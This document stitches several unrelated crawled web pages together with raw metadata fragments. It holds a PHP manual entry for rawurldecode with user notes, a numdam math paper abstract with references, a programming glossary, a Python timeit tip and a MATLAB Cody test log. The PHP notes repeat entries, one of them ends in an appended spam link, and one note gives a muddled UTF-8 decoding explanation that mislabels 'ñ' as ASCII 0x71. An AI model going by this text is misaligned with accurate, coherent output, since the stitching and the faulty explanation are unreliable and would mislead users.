"PHP 8.1.0 Released!\n\n# rawurldecode\n\n(PHP 4, PHP 5, PHP 7, PHP 8)\n\nrawurldecodeDecode URL-encoded strings\n\n### Description\n\nrawurldecode(string `\\$string`): string\n\nReturns a string in which the sequences with percent (`%`) signs followed by two hex digits have been replaced with literal characters.\n\n### Parameters\n\n`string`\n\nThe URL to be decoded.\n\n### Return Values\n\nReturns the decoded URL, as a string.\n\n### Examples\n\nExample #1 rawurldecode() example\n\n``` <?phpecho rawurldecode('foo%20bar%40baz'); // foo bar@baz?> ```\n\n### Notes\n\nNote:\n\nrawurldecode() does not decode plus symbols ('+') into spaces. urldecode() does.",
null,
"add a note\n\n### User Contributed Notes 7 notes\n\n14\nphp dot net at hiddemann dot org\n16 years ago\n``` To sum it up: the only difference of this function to the urldecode function is that the \"+\" character won't get translated. ```\nJavier A. Segura at gmail dot com\n13 years ago\n``` Hi everybody =) My name is Javier and I'm from Argentina.I've had a little issue with latin characters like ñ\",\"Ñ\",\"á\",\"é\",\"í\", etc.They are not decoded with rawurlencode(), so I've made this:<?phpfunction urlRawDecode(\\$raw_url_encoded){ # Hex conversion table \\$hex_table = array( 0 => 0x00, 1 => 0x01, 2 => 0x02, 3 => 0x03, 4 => 0x04, 5 => 0x05, 6 => 0x06, 7 => 0x07, 8 => 0x08, 9 => 0x09, \"A\"=> 0x0a, \"B\"=> 0x0b, \"C\"=> 0x0c, \"D\"=> 0x0d, \"E\"=> 0x0e, \"F\"=> 0x0f ); # Fixin' latin character problem if(preg_match_all(\"/\\%C3\\%([A-Z0-9]{2})/i\", \\$raw_url_encoded,\\$res)) { \\$res = array_unique(\\$res = \\$res); \\$arr_unicoded = array(); foreach(\\$res as \\$key => \\$value){ \\$arr_unicoded[] = chr( (0xc0 | (\\$hex_table[substr(\\$value,0,1)]<<4)) | (0x03 & \\$hex_table[substr(\\$value,1,1)]) ); \\$res[\\$key] = \"%C3%\" . \\$value; } \\$raw_url_encoded = str_replace( \\$res, \\$arr_unicoded, \\$raw_url_encoded ); } # Return decoded raw url encoded data return rawurldecode(\\$raw_url_encoded);}print urlRawDecode(\"%C3%A1%C3%B1\");// output:// áñ?>For example, you have the character \"ñ\" encoded like this \"%C3%B1\". This is nothing more and nothing less than 0xc3 and 0xb1, they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),To convert a raw encoded character to ascii we have to make boolean operationsbetween this two operands (0xc3 and 0xb1), boolean algebra were defined by George Boole, we need to use them here. The first one we going to use is the logical OR (\"|\" or \"pipe\") and logical AND (\"&\" or \"and person\").A logical OR implies the following truth table:a b (a OR b)0 0 00 1 1 (a OR b or Both, a and b, must be true to get a true result)1 0 11 1 1A logical AND implies the following truth table:a b (a AND b)0 0 00 1 0 1 0 01 1 1 (Both a AND b, must be true to get a true result)So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,a nibble is a half byte (4 bits), so we have to make a logical OR between 1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to makea logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get this: 0001, so, if we want to see the final result, we have to put HIGH and LOW nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing more and nothing less than \"ñ\" (to check this out, try the following: print(chr(0xf1));).This \"<<\" is a logical shift left, if we have this binary number 0001 (1) and we make this:0001 << 2 we'll get 0100 (4) right bits are filled with 0's.<?php# Conversion example %C3%B1 to ASCII (0x71)print( chr( (0xc0|0x0b<<4) | (0x03&0x01) ));// Output will be:// ñ// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)?>PS: I'm so sorry about my english, I know, is horrible :P ```\njakub dot lopuszanski at nasza-klasa dot pl\n7 years ago\n``` Be aware that rawurldecode does not warn you in any way if the output is nonvalid UTF-8.For example if the input passed to the function is just \"%C5\", then since C is 1100 in binary, and UTF-8 characters starting with 110 should be followed by another character, the result of rawurldecode will be just a single byte (with value \\xC5) which is not a correct UTF-8.Confront this with for example Javascript which will warn you about it:JAVASCRIPT:decodeURI(\"%C5\")URIError: URI malformeddecodeURIComponent(\"%C5\")URIError: URI malformedunescape(\"%C5\")\"Å\"PHP:var_dump(rawurldecode(\"%C5\"))string(1) \"▒\"php -vPHP 5.3.6 (cli) (built: Oct 4 2012 10:19:07)Copyright (c) 1997-2011 The PHP GroupZend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH ```\n-4\nJavier A. Segura at gmail dot com\n13 years ago\n``` Hi everybody =) My name is Javier and I'm from Argentina.I've had a little issue with latin characters like ñ\",\"Ñ\",\"á\",\"é\",\"í\", etc.They are not decoded with rawurlencode(), so I've made this:<?phpfunction urlRawDecode(\\$raw_url_encoded){ # Hex conversion table \\$hex_table = array( 0 => 0x00, 1 => 0x01, 2 => 0x02, 3 => 0x03, 4 => 0x04, 5 => 0x05, 6 => 0x06, 7 => 0x07, 8 => 0x08, 9 => 0x09, \"A\"=> 0x0a, \"B\"=> 0x0b, \"C\"=> 0x0c, \"D\"=> 0x0d, \"E\"=> 0x0e, \"F\"=> 0x0f ); # Fixin' latin character problem if(preg_match_all(\"/\\%C3\\%([A-Z0-9]{2})/i\", \\$raw_url_encoded,\\$res)) { \\$res = array_unique(\\$res = \\$res); \\$arr_unicoded = array(); foreach(\\$res as \\$key => \\$value){ \\$arr_unicoded[] = chr( (0xc0 | (\\$hex_table[substr(\\$value,0,1)]<<4)) | (0x03 & \\$hex_table[substr(\\$value,1,1)]) ); \\$res[\\$key] = \"%C3%\" . \\$value; } \\$raw_url_encoded = str_replace( \\$res, \\$arr_unicoded, \\$raw_url_encoded ); } # Return decoded raw url encoded data return rawurldecode(\\$raw_url_encoded);}print urlRawDecode(\"%C3%A1%C3%B1\");// output:// áñ?>For example, you have the character \"ñ\" encoded like this \"%C3%B1\". This is nothing more and nothing less than 0xc3 and 0xb1, they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),To convert a raw encoded character to ascii we have to make boolean operationsbetween this two operands (0xc3 and 0xb1), boolean algebra were defined by George Boole, we need to use them here. The first one we going to use is the logical OR (\"|\" or \"pipe\") and logical AND (\"&\" or \"and person\").A logical OR implies the following truth table:a b (a OR b)0 0 00 1 1 (a OR b or Both, a and b, must be true to get a true result)1 0 11 1 1A logical AND implies the following truth table:a b (a AND b)0 0 00 1 0 1 0 01 1 1 (Both a AND b, must be true to get a true result)So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,a nibble is a half byte (4 bits), so we have to make a logical OR between 1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to makea logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get this: 0001, so, if we want to see the final result, we have to put HIGH and LOW nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing more and nothing less than \"ñ\" (to check this out, try the following: print(chr(0xf1));).This \"<<\" is a logical shift left, if we have this binary number 0001 (1) and we make this:0001 << 2 we'll get 0100 (4) right bits are filled with 0's.<?php# Conversion example %C3%B1 to ASCII (0x71)print( chr( (0xc0|0x0b<<4) | (0x03&0x01) ));// Output will be:// ñ// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)?>PS: I'm so sorry about my english, I know, is horrible :P ```\n-6\nTomek Perlak [tomekperlak at tlen pl]\n15 years ago\n``` Let's say you pass some data between the client and the server in a more or less array-like structure.If using the [] brackets in the field names is not enough (or won't comply with the rest of the project for some reason), you might have to use a string with a number of different delimiters (rows, fields, rows inside fields and such).To make sure that the data doesn't get mistaken for delimiters, you can use the encodeURIComponent() JavaScript function. It pairs nicely with rawurldecode().Once the string passed to the server side finally gets exploded into an array (or set of such), you could use the following function to recursively rawurldecode the array(s):<?phpfunction rawurldecode_array(&\\$arr){ foreach (array_keys(\\$arr) as \\$key) { if (is_array(\\$arr[\\$key])) { rawurldecode_array(\\$arr[\\$key]); } else { \\$arr[\\$key] = rawurldecode(\\$arr[\\$key]); } }}\\$a = rawurlencode(\"2+1:3?9\");\\$a[\"k\"] = rawurlencode(\"@:-/\");\\$a[-3] = rawurlencode(\"+\");\\$a[-3] = rawurlencode(\"=_~\");\\$a[-3][\"a\"] = rawurlencode(\"this+is a%test\");echo \"<pre>\"; print_r(\\$a); echo \"</pre>\";rawurldecode_array(\\$a);echo \"<pre>\"; print_r(\\$a); echo \"</pre>\";?>The program will output:Array( => 2%2B1%3A3%3F9 [k] => %40%3A-%2F [-3] => Array ( => %2B => %3D_%7E [a] => this%2Bis%20a%25test ))Array( => 2+1:3?9 [k] => @:-/ [-3] => Array ( => + => =_~ [a] => this+is a%test )) ```\n-13\nCagivaracer\n12 years ago\n``` Please note that the combination encodeURIComponent (Javascript) and rawurldecode (PHP) only works well if magic quotes are turned off in php.ini (magic_quotes_gpc = Off) ```\n-3\n``` Let's say you pass some data between the client and the server in a more or less array-like structure.If using the [] brackets in the field names is not enough (or won't comply with the rest of the project for some reason), you might have to use a string with a number of different delimiters (rows, fields, rows inside fields and such).To make sure that the data doesn't get mistaken for delimiters, you can use the encodeURIComponent() JavaScript function. It pairs nicely with rawurldecode().Once the string passed to the server side finally gets exploded into an array (or set of such), you could use the following function to recursively rawurldecode the array(s):<?phpfunction rawurldecode_array(&\\$arr){ foreach (array_keys(\\$arr) as \\$key) { if (is_array(\\$arr[\\$key])) { rawurldecode_array(\\$arr[\\$key]); } else { \\$arr[\\$key] = rawurldecode(\\$arr[\\$key]); } }}\\$a = rawurlencode(\"2+1:3?9\");\\$a[\"k\"] = rawurlencode(\"@:-/\");\\$a[-3] = rawurlencode(\"+\");\\$a[-3] = rawurlencode(\"=_~\");\\$a[-3][\"a\"] = rawurlencode(\"this+is a%test\");echo \"<pre>\"; print_r(\\$a); echo \"</pre>\";rawurldecode_array(\\$a);echo \"<pre>\"; print_r(\\$a); echo \"</pre>\";?>The program will output:Array( => 2%2B1%3A3%3F9 [k] => %40%3A-%2F [-3] => Array ( => %2B => %3D_%7E [a] => this%2Bis%20a%25test ))Array( => 2+1:3?9 [k] => @:-/ [-3] => Array ( => + => =_~ [a] => this+is a%test ))http://yemennownews.com ```",
null,
""
] | [
null,
"https://www.php.net/images/notes-add@2x.png",
null,
"https://www.php.net/images/to-top@2x.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.73628044,"math_prob":0.9705219,"size":10348,"snap":"2021-43-2021-49","text_gpt3_token_len":3476,"char_repetition_ratio":0.11639598,"word_repetition_ratio":0.8608451,"special_character_ratio":0.3879977,"punctuation_ratio":0.14016433,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9735801,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-01T00:23:43Z\",\"WARC-Record-ID\":\"<urn:uuid:10b32c22-7d70-45fd-8fa1-b9588deb0540>\",\"Content-Length\":\"61495\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:199d7417-8309-4f7c-b669-2f6ce8f3ed5d>\",\"WARC-Concurrent-To\":\"<urn:uuid:02790049-1613-4a9f-8076-be2476a57277>\",\"WARC-IP-Address\":\"185.85.0.29\",\"WARC-Target-URI\":\"https://www.php.net/manual/en/function.rawurldecode.php\",\"WARC-Payload-Digest\":\"sha1:LO6FS6LQC3BJZ3YEHRDGAXU6QISBRIVM\",\"WARC-Block-Digest\":\"sha1:PJXSXRSWOSEDEVYWHR7LWYHCV4BKFRQD\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964359082.76_warc_CC-MAIN-20211130232232-20211201022232-00009.warc.gz\"}"} |
http://www.numdam.org/item/AIHPC_2011__28_6_837_0/ | [
"Existence of self-dual non-topological solutions in the Chern–Simons Higgs model\nAnnales de l'I.H.P. Analyse non linéaire, Volume 28 (2011) no. 6, p. 837-852\n\nIn this paper we investigate the existence of non-topological solutions of the Chern–Simons Higgs model in ${ℝ}^{2}$. A long standing problem for this equation is: Given N vortex points and $\\beta >8\\pi \\left(N+1\\right)$, does there exist a non-topological solution in ${ℝ}^{2}$ such that the total magnetic flux is equal to $\\beta /2$? In this paper, we prove the existence of such a solution if $\\beta \\notin \\left\\{8\\pi N\\frac{k}{k-1}|k=2,\\cdots ,N\\right\\}$. We apply the bubbling analysis and the Leray–Schauder degree theory to solve this problem.\n\nLʼobjectif de cet article est de prouver lʼexistence de solutions non-topologiques du modèle de Chern–Simons Higgs dans ${ℝ}^{2}$. Un problème de longue date existe pour cette équation : Soit N points vortex et $\\beta >8\\pi \\left(N+1\\right)$, existe-t-il une solution non-topologique dans ${ℝ}^{2}$ telle que le flux magnétique total est égal à $\\beta /2$ ? Dans cet article, nous prouvons lʼexistence dʼune solution pour $\\beta \\notin \\left\\{8\\pi N\\frac{k}{k-1}|k=2,\\cdots ,N\\right\\}$. Nous appliquons lʼanalyse par bulles et la theorie de Leray–Schauder pour résoudre ce problème.\n\nDOI : https://doi.org/10.1016/j.anihpc.2011.06.003\nKeywords: Semi-linear PDE, Non-topological vortices, Chern–Simons Higgs model\n@article{AIHPC_2011__28_6_837_0,\nauthor = {Choe, Kwangseok and Kim, Namkwon and Lin, Chang-Shou},\ntitle = {Existence of self-dual non-topological solutions in the Chern--Simons Higgs model},\njournal = {Annales de l'I.H.P. Analyse non lin\\'eaire},\npublisher = {Elsevier},\nvolume = {28},\nnumber = {6},\nyear = {2011},\npages = {837-852},\ndoi = {10.1016/j.anihpc.2011.06.003},\nzbl = {1232.81031},\nmrnumber = {2859930},\nlanguage = {en},\nurl = {http://www.numdam.org/item/AIHPC_2011__28_6_837_0}\n}\n\nChoe, Kwangseok; Kim, Namkwon; Lin, Chang-Shou. Existence of self-dual non-topological solutions in the Chern–Simons Higgs model. Annales de l'I.H.P. Analyse non linéaire, Volume 28 (2011) no. 6, pp. 837-852. doi : 10.1016/j.anihpc.2011.06.003. http://www.numdam.org/item/AIHPC_2011__28_6_837_0/\n\n D. Bartolucci, C.-C. Chen, C.-S. Lin, G. Tarantello, Profile of blow-up solutions to mean field equations with singular data, Comm. Partial Differential Equations 29 (2004), 1241-1265 | MR 2097983 | Zbl 1062.35146\n\n L.A. Caffarelli, Y. Yang, Vortex condensation in the Chern–Simons–Higgs model: An existence theorem, Comm. Math. Phys. 168 (1995), 321-336 | MR 1324400 | Zbl 0846.58063\n\n D. Chae, O.Y. Imanuvilov, The existence of non-topological multivortex solutions in the relativistic self-dual Chern–Simons theory, Comm. Math. Phys. 215 (2000), 119-142 | MR 1800920 | Zbl 1002.58015\n\n H. Chan, C.-C. Fu, C.-S. Lin, Non-topological multi-vortex solutions to the self-dual Chern–Simons–Higgs equation, Comm. Math. Phys. 231 (2002), 189-221 | MR 1946331 | Zbl 1018.58008\n\n C.-C. Chen, C.-S. Lin, Mean field equations of Liouville type with singular data: Sharper estimates, Discrete Contin. Dyn. Syst. 28 (2010), 1667-1727 | MR 2644788\n\n X. Chen, S. Hastings, J.B. Mcleod, Y. Yang, A nonlinear elliptic equation arising from gauge theory and cosmology, Proc. R. Soc. Lond. A 446 (1994), 453-478 | MR 1297740 | Zbl 0813.35015\n\n K. Choe, Asymptotic behavior of condensate solutions in the Chern–Simons–Higgs theory, J. Math. Phys. 48 (2007), 103501 | MR 2362794 | Zbl 1152.81376\n\n K. Choe, Multiple existence results for the self-dual Chern–Simons–Higgs vortex equation, Comm. Partial Differential Equations 34 (2009), 1465-1507 | MR 2581980 | Zbl 1185.35274\n\n K. Choe, N. Kim, Blow-up solutions of the self-dual Chern–Simons–Higgs vortex equation, Ann. Inst. H. Poincaré Anal. Non Linéaire 25 (2008), 313-338 | Numdam | MR 2396525 | Zbl 1145.35029\n\n G. Dunne, Self-Dual Chern–Simons Theories, Springer Lecture Note Physics vol. M36, Springer, Berlin (1995) | Zbl 0834.58001\n\n J. Hong, Y. Kim, P.Y. Pac, Multivortex solutions of the abelian Chern–Simons–Higgs theory, Phys. Rev. Lett. 64 (1990), 2230-2233 | MR 1050529 | Zbl 1014.58500\n\n R. Jackiw, E.J. Weinberg, Self-dual Chern–Simons vortices, Phys. Rev. Lett. 64 (1990), 2234-2237 | MR 1050530 | Zbl 1050.81595\n\n A. Jaffe, C.H. Taubes, Vortices and Monopoles, Birkhäuser, Boston (1980) | MR 614447 | Zbl 0457.53034\n\n N. Kim, Existence of vortices in a self-dual gauged linear sigma model and its singular limit, Nonlinearity 19 (2006), 721-739 | MR 2209296 | Zbl 1122.35011\n\n B.H. Lee, C. Lee, H. Min, Supersymmetric Chern–Simons vortex systems and fermion zero modes, Phys. Rev. D 45 (1992), 4588-4599 | MR 1170319\n\n C. Lee, K. Lee, E.J. Weinberg, Supersymmetry and self-dual Chern–Simons systems, Phys. Lett. B 243 (1990), 105-108 | MR 1061565\n\n C.-S. Lin, C.L. Wang, Elliptic functions, Green functions and the mean field equations on tori, Ann. Math. II 172 (2010), 911-954 | MR 2680484 | Zbl 1207.35011\n\n C.-S. Lin, S. Yan, Bubbling solutions for relativistic Abelian Chern–Simons model on a torus, Comm. Math. Phys. 297 (2010), 733-758 | MR 2653901 | Zbl 1195.35150\n\n L. Nirenberg, Topics in Nonlinear Functional Analysis, Courant Lecture Notes in Mathematics, American Mathematics Society, Rhode Island (2001) | MR 1850453\n\n M. Nolasco, G. Tarantello, Double vortex condensates in the Chern–Simons–Higgs theory, Calc. Var. Partial Differential Equations 9 (1999), 31-94 | MR 1710938 | Zbl 0951.58030\n\n J. Spruck, Y. Yang, The existence of nontopological solitons in the self-dual Chern–Simons theory, Comm. Math. Phys. 149 (1992), 361-376 | MR 1186034 | Zbl 0760.53063\n\n J. Spruck, Y. Yang, Topological solutions in the self-dual Chern–Simons theory: Existence and approximation, Ann. Inst. Henri Poincaré 12 (1995), 75-97 | Numdam | MR 1320569 | Zbl 0836.35007\n\n G. Tarantello, Multiple condensate solutions for the Chern–Simons–Higgs theory, J. Math. Phys. 37 (1996), 3769-3796 | MR 1400816 | Zbl 0863.58081\n\n G. Tarantello, Selfdual Gauge Field Vortices: An Analytical Approach, Progress in Nonlinear Differential Equations and Their Applications, Birkhäuser, Boston (2008) | MR 2403854\n\n Y. Yang, Solutions in Field-Theory and Nonlinear Analysis, Springer Monographs in Mathematics, Springer-Verlag, New York (2001) | MR 1838682\n\n R. Wang, The existence of Chern–Simons vortices, Comm. Math. Phys. 137 (1991), 587-597 | MR 1105432 | Zbl 0733.58009\n\n Z. Wang, Symmetries and the calculations of degree, Chin. Ann. of Math. B 16 (1989), 520-536 | MR 1038386 | Zbl 0705.58006"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.55670196,"math_prob":0.87641954,"size":5677,"snap":"2020-34-2020-40","text_gpt3_token_len":1905,"char_repetition_ratio":0.15776485,"word_repetition_ratio":0.018934911,"special_character_ratio":0.39827374,"punctuation_ratio":0.2288947,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95236754,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-08-13T23:35:19Z\",\"WARC-Record-ID\":\"<urn:uuid:c13c4ded-a828-4ef4-aa6b-17219c8f10f5>\",\"Content-Length\":\"43476\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0a712056-da45-4ba2-b898-ddc541b9db00>\",\"WARC-Concurrent-To\":\"<urn:uuid:39fd6a13-9f4f-43dc-b4e9-212442559259>\",\"WARC-IP-Address\":\"129.88.220.36\",\"WARC-Target-URI\":\"http://www.numdam.org/item/AIHPC_2011__28_6_837_0/\",\"WARC-Payload-Digest\":\"sha1:NHQIHAU4TX32ZB5Q66DAT7FXYSUTOWMZ\",\"WARC-Block-Digest\":\"sha1:7WGMPICP6FMMXC7IJQTB6TPVM74ZIRKB\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-34/CC-MAIN-2020-34_segments_1596439739104.67_warc_CC-MAIN-20200813220643-20200814010643-00533.warc.gz\"}"} |
https://community.hurna.io/topic/69/en-function-class-glossary-every-day-jargon-used-when-dealing-with-code/ | [
"• # Function - Class\n\n### Argument - Parameter\n\nA parameter (or formal argument) is a variable in a function or method definition. When the function is called, the argument is the data we pass in the function call.\n\n`````` int square(int number) // number is the parameter\n{ return number * number; }\n\nauto result = square(3); // 3 is the argument\n``````\n\n### Callback\n\nA callback is a function that is passed as an argument to a function, which is expected to call back (execute) at a convenient time. This may for instance be to display information (as the number of lines) of a file once read.\n\n`````` // Callback definition\nfunction displayCount(count)\n{ console.log(\"File contains \" + count + \" lines.\"); }\n\nreadFile(\"text.txt\", displayCount); // Callback passed as argument\n``````\n\nCallbacks are used everywhere in association with events in web development. In the case of an asynchronous call, call back can be executed when a response has been received.\n\n### Class\n\nA class (prototype) is a template that defines object properties and may also describe object behavior.",
null,
"`````` class Car // Class definition\n{\npublic:\nCar(string color) { this.color = color; } // Constructor\nstring GetColor() { return this.color; } // Method\nprivate:\nstring color; // Attribute\n}\n``````\n``````const auto greenCar = new Car('green'); // Create instance\ncout << greenCar.GetColor(); // Display car color - 'green'\n``````\n\nWe can think of class as a sketch (prototype) of a car. It contains all the details about the number of tires, the doors, the color… Based on these descriptions we built a green car. As many cars can be made from the same prototype, we can create as many objects as we want from a class.\n\n### Constructor\n\nThe constructor is a method, inside a class, that is used to instantiate (create an instance) an object. It is automatically called when an object is built.\n\n### Curried function\n\nA curried function is a function that takes multiple arguments and returns successively another function that will take the next argument provided as a parameter. The last function returns the result of applying the function to all of its arguments.\n\n`````` const sum = x => y => x + y;\nsum (2); // returns a function y => 2 + y\nsum (2)(1); // returns 3\n``````\n\nIn other words, it is a function that takes multiple arguments one at a time.\n\n### Function\n\nA function is a named section of a program that performs a specific task.\n\n`````` multiply(3, 3); // multiply is the function called\n``````\n\nSome programming languages make a distinction between a function, which returns a value, and a procedure, which performs some operation but does not return a value.\n\n### Instance\n\nAn instance is an occurrence of a class. Above (cf. Class), greenCar is an instance of the class Car. Another instance of this class could be created by writing:\n\n`````` const auto otherGreenCar = new Car('green');\n``````\n\n### Method\n\nA method is a function that belongs to a class or an object. It is bound to it, defined only within that scope of usage.\n\n### Nested Function\n\nA nested function is a function contained inside of another function. It can be used to limit the scope of the inner function.\n\n`````` function getSurfBoard(weather, size, height) {\nconst boardList = getBoardForWeather(weather);\n\n// Nested function\nfunction filterBoardByBody(size, height) {...}\n}\n``````\n\n### Recursive Function\n\nThe term recursive describes a function or method that calls itself.\n\nUnderstanding how recursion works is a fundamental programming skill.\n\n`````` function fibonacci(number) {\nif (number === 0) return 0;\nif (number === 1) return 1;\nreturn fibonacci(number - 1) + fibonacci(number - 2);\n}\n``````\n\nAs a reminder the Fibonacci numbers are defined as follow:\nF(0) = 0\nF(1) = 1\nF(n) = F(n−1) + F(n−2)\n\n# Source\n\nhttps://hurna.io/academy/glossaries/function_class.html\n\n| |"
] | [
null,
"https://hurna.io/assets/images/glossaries/class_object.png",
null
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https://coderscanteen.com/solved-python-use-timeit-error-stmt-is-neither-a-string-nor-callable/ | [
"# [Solved] Python Use timeit Error: stmt is neither a string nor callable.\n\nExample :\n\n``print(timeit.timeit(cal_pi(100_0000),number=10000))``\n\nthis error is occurring because of cal_pi function have parameters\n\nModify to:\n\n`` print(timeit.timeit(lambda: cal_pi(100_0000),number=10000))``"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7258305,"math_prob":0.9954211,"size":551,"snap":"2023-40-2023-50","text_gpt3_token_len":132,"char_repetition_ratio":0.09872029,"word_repetition_ratio":0.0,"special_character_ratio":0.25408348,"punctuation_ratio":0.14432989,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9903074,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-21T11:15:33Z\",\"WARC-Record-ID\":\"<urn:uuid:1db68750-4c5a-430d-8268-77a6b6eeead9>\",\"Content-Length\":\"96402\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c3b5dd4d-9c86-45e8-90c0-0b1a533fe38f>\",\"WARC-Concurrent-To\":\"<urn:uuid:a8751ec1-0284-46b4-9e4f-1361f2f1a14e>\",\"WARC-IP-Address\":\"103.15.253.71\",\"WARC-Target-URI\":\"https://coderscanteen.com/solved-python-use-timeit-error-stmt-is-neither-a-string-nor-callable/\",\"WARC-Payload-Digest\":\"sha1:YQQ4MO3ARQRLDX6GUCAJGU6CTL67LFRE\",\"WARC-Block-Digest\":\"sha1:X62X7C276G2RXI5SHOWMTKNJTQB2YTP7\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233506027.39_warc_CC-MAIN-20230921105806-20230921135806-00686.warc.gz\"}"} |
https://se.mathworks.com/matlabcentral/cody/problems/1068-guess-the-coefficients/solutions/173083 | [
"Cody\n\n# Problem 1068. Guess the Coefficients!\n\nSolution 173083\n\nSubmitted on 5 Dec 2012 by James\nThis solution is locked. To view this solution, you need to provide a solution of the same size or smaller.\n\n### Test Suite\n\nTest Status Code Input and Output\n1 Pass\n%% assert(isequal(guess_the_coefficients(@(x)x^2+2*x+15),[1 2 15]))\n\na = 1 2 3 4 5 6 7 8 9 10 b = 18 23 30 39 50 63 78 95 114 135 [Warning: Polynomial is badly conditioned. Add points with distinct X values, reduce the degree of the polynomial, or try centering and scaling as described in HELP POLYFIT.] [> In polyfit at 76 In guess_the_coefficients at 4 In verifyCode>evaluateCode at 226 In verifyCode at 40 In fevalJSON at 14] c = 0 0 0 0 0 0 0 1 2 15 ans = 1 2 15\n\n2 Pass\n%% assert(isequal(guess_the_coefficients(@(x)polyval(53,x)),53))\n\na = 1 2 3 4 5 6 7 8 9 10 b = 53 53 53 53 53 53 53 53 53 53 [Warning: Polynomial is badly conditioned. Add points with distinct X values, reduce the degree of the polynomial, or try centering and scaling as described in HELP POLYFIT.] [> In polyfit at 76 In guess_the_coefficients at 4 In verifyCode>evaluateCode at 226 In verifyCode at 40 In fevalJSON at 14] c = 0 0 0 0 0 0 0 0 0 53 ans = 53\n\n3 Pass\n%% assert(isequal(guess_the_coefficients(@(x)polyval([54 87],x)),[54 87]))\n\na = 1 2 3 4 5 6 7 8 9 10 b = 141 195 249 303 357 411 465 519 573 627 [Warning: Polynomial is badly conditioned. Add points with distinct X values, reduce the degree of the polynomial, or try centering and scaling as described in HELP POLYFIT.] [> In polyfit at 76 In guess_the_coefficients at 4 In verifyCode>evaluateCode at 226 In verifyCode at 40 In fevalJSON at 14] c = 0 0 0 0 0 0 0 0 54 87 ans = 54 87\n\n4 Pass\n%% assert(isequal(guess_the_coefficients(@(x)polyval([49 40 68],x)),[49 40 68]))\n\na = 1 2 3 4 5 6 7 8 9 10 b = Columns 1 through 8 157 344 629 1012 1493 2072 2749 3524 Columns 9 through 10 4397 5368 [Warning: Polynomial is badly conditioned. Add points with distinct X values, reduce the degree of the polynomial, or try centering and scaling as described in HELP POLYFIT.] [> In polyfit at 76 In guess_the_coefficients at 4 In verifyCode>evaluateCode at 226 In verifyCode at 40 In fevalJSON at 14] c = 0 0 0 0 0 0 0 49 40 68 ans = 49 40 68\n\n5 Pass\n%% assert(isequal(guess_the_coefficients(@(x)polyval([75 53 35 15],x)),[75 53 35 15]))\n\na = 1 2 3 4 5 6 7 8 9 10 b = Columns 1 through 8 178 897 2622 5803 10890 18333 28582 42087 Columns 9 through 10 59298 80665 [Warning: Polynomial is badly conditioned. Add points with distinct X values, reduce the degree of the polynomial, or try centering and scaling as described in HELP POLYFIT.] [> In polyfit at 76 In guess_the_coefficients at 4 In verifyCode>evaluateCode at 226 In verifyCode at 40 In fevalJSON at 14] c = 0 0 0 0 0 0 75 53 35 15 ans = 75 53 35 15\n\n6 Pass\n%% assert(isequal(guess_the_coefficients(@(x)polyval([59 27 5 76 25],x)),[59 27 5 76 25]))\n\na = 1 2 3 4 5 6 7 8 9 10 b = Columns 1 through 8 192 1357 5806 17241 40780 82957 151722 256441 Columns 9 through 10 407896 618285 [Warning: Polynomial is badly conditioned. Add points with distinct X values, reduce the degree of the polynomial, or try centering and scaling as described in HELP POLYFIT.] [> In polyfit at 76 In guess_the_coefficients at 4 In verifyCode>evaluateCode at 226 In verifyCode at 40 In fevalJSON at 14] c = 0 0 0 0 0 59 27 5 76 25 ans = 59 27 5 76 25\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!"
] | [
null
